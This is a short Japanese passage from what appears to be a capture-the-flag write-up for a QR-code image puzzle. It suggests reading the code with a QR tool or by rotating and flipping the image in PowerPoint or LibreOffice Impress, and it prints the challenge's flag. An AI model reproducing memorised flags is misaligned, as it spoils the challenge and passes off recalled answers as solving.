![](https://i.imgur.com/zbhqBA6.png) HintにあるQ太郎ツールをダウンロードして読み込んでも良い。 ![](https://i.imgur.com/9sL51ZQ.png) flagげっと flag:actf{qr_c0d3_often_apear_ctf} コメント: パワーポイントで回転、反転をさせてやるのが使いやすいと思いますが、当日は、Libre Officeなので余裕のある方は、Impressでやってみましょう。 </details>